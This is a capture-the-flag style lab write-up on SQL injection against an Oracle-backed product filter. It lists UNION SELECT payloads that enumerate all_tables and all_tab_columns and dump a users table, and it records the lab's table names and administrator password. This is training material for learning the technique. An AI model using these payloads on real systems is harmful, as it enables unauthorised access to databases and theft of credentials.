
SQL injection attack, listing the database contents on Oracle

1. This lab contains a SQL injection vulnerability in the product category filter.
2. I need to know the table name that contains users' info and need to know the username and password columns name then retrieve the administrator password to login with it.
3. This lab is the same as the previous lab but this lab is for Oracle databases.
4. The main difference is how to know the tables and columns name. (Got it from cheat sheet)

```
SELECT * FROM all_tables
SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
```

5. The payloads:

- Category=Pets' ORDER BY #of columns
- category=Gifts' UNION SELECT table_name, NULL FROM all_tables--
 - category=Gifts' UNION SELECT column_name, NULL FROM all_tab_columns WHERE table_name ='USERS_ACSGIR'--
 - category=Gifts' UNION SELECT USERNAME_ZHQJGX,
PASSWORD_HZBIWF FROM USERS_ACSGIR --

The users table name: **USERS_ACSGIR**

The usernames column: **USERNAME_ZHQJGX**

The passwords column: **PASSWORD_HZBIWF**

The administrator password is: **bl53zkevr8kzjd8awwa**

6. Login successfully.

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My Account

Your username is: administrator

Email

Update email